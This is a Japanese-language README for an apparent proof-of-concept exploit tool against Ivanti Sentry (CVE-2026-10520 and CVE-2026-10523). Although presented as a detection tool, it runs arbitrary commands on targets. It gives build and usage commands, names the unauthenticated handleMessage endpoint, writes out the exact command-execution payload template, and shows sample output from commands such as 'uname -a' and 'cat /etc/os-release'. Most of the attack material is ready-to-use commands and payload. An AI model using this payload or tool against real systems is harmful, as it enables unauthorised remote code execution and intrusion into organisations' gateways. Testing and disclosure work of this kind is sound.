
Ivanti Sentry認証バイパスおよびリモートコード実行脆弱性(CVE-2026-10520、CVE-2026-10523)の概念実証検出ツール。巧妙に細工されたAPIリクエストを送信してシステムコマンドを実行し、脆弱なデプロイメントを検証します。
認証バイパスとリモートコード実行に関連するIvanti Sentryの脆弱性をテストするための包括的な概念実証検出ツールです。このツールは、CVE-2026-10520およびCVE-2026-10523に対して脆弱なシステムを特定します。
このプロジェクトは、Ivanti Sentryインスタンスが重大な認証バイパスおよびリモートコード実行の欠陥に対して脆弱かどうかを検出および検証するために設計されています。このツールは、Ivanti Sentry APIエンドポイントを通じて特別に細工されたメッセージを送信し、システムコマンドを実行して結果を抽出することで、セキュリティ研究者やペネトレーションテスターが脆弱なデプロイメントを特定できるようにします。
Ivanti Sentryにおける認証バイパスの脆弱性で、制限されたAPIエンドポイントへの認証なしのアクセスを許可します。
Ivanti Sentryにおけるリモートコード実行の脆弱性で、認証バイパスと組み合わせることでメッセージングAPIを通じて任意のシステムコマンドの実行を許可します。
リポジトリをクローンし、プロジェクトディレクトリに移動します:
git clone https://github.com/gagaltotal/CVE-2026-10523-Ivanti-sentry
cd CVE-2026-10523-Ivanti-sentry
初期化とパッケージライブラリの取得
go mod init CVE-2026-10523-Ivanti-sentry
go mod tidy
実行ファイルをビルドします:
go build -o tot_poc tot_poc.go

このツールには、ターゲットURLと実行するコマンドの2つの必須パラメータが必要です。

ターゲット上で簡単なコマンドを実行します:
./tot_poc -url https://target.example.com:8443 -cmd "uname -a"
-url (必須): プロトコルを含むターゲットベースURL (例: https://127.0.0.1:8443)-cmd (必須): 脆弱性検出のために実行するコマンド (例: "uname -a", "id", "whoami")-p または -proxy (オプション): トラフィックをルーティングするためのプロキシアドレスとポート (例: 127.0.0.1:8080)
簡単なシステム情報コマンドで脆弱性を検出:
./tot_poc -url https://192.168.1.100:8443 -cmd "uname -a"
プロキシ設定で実行:
./tot_poc -url https://target.example.com:8443 -cmd "whoami" -proxy 127.0.0.1:8080
システム情報を抽出するコマンドを実行:
./tot_poc -url https://sentry-instance.internal:8443 -cmd "cat /etc/os-release"
ツールは以下を表示します:
Target: https://192.168.1.100:8443
Command: uname -a
[+] Sending command execution check to: https://192.168.1.100:8443/mics/api/v2/sentry/mics-config/handleMessage
[+] Target appears to be vulnerable.
Command output:
Linux sentry-server 5.10.0-8-generic x86_64 GNU/Linux
Target: https://192.168.1.100:8443
Command: uname -a
[+] Sending command execution check to: https://192.168.1.100:8443/mics/api/v2/sentry/mics-config/handleMessage
[-] Target does not appear to be vulnerable.
このツールは、認証なしでアクセス可能な/mics/api/v2/sentry/mics-config/handleMessageエンドポイントを利用します。ペイロードは次のように構築されます:
message=execute+system+/configuration/system/commandexec+<commandexec><index>1</index><reqandres>[COMMAND]</reqandres></commandexec>
レスポンスには、successタグ内にXML形式のコマンド出力が含まれます。
このツールは、認可されたセキュリティテストおよび研究目的のみで提供されます。ユーザーは、いかなるシステムをテストする前に適切な認可を得ていることを確認する責任を負います。コンピュータシステムへの不正アクセスは違法です。作者は、このツールの誤用または損害について一切の責任を負いません。
GhostGTR666 - Gagaltotal666
このプロジェクトは、セキュリティ研究および教育目的のために現状のまま提供されます。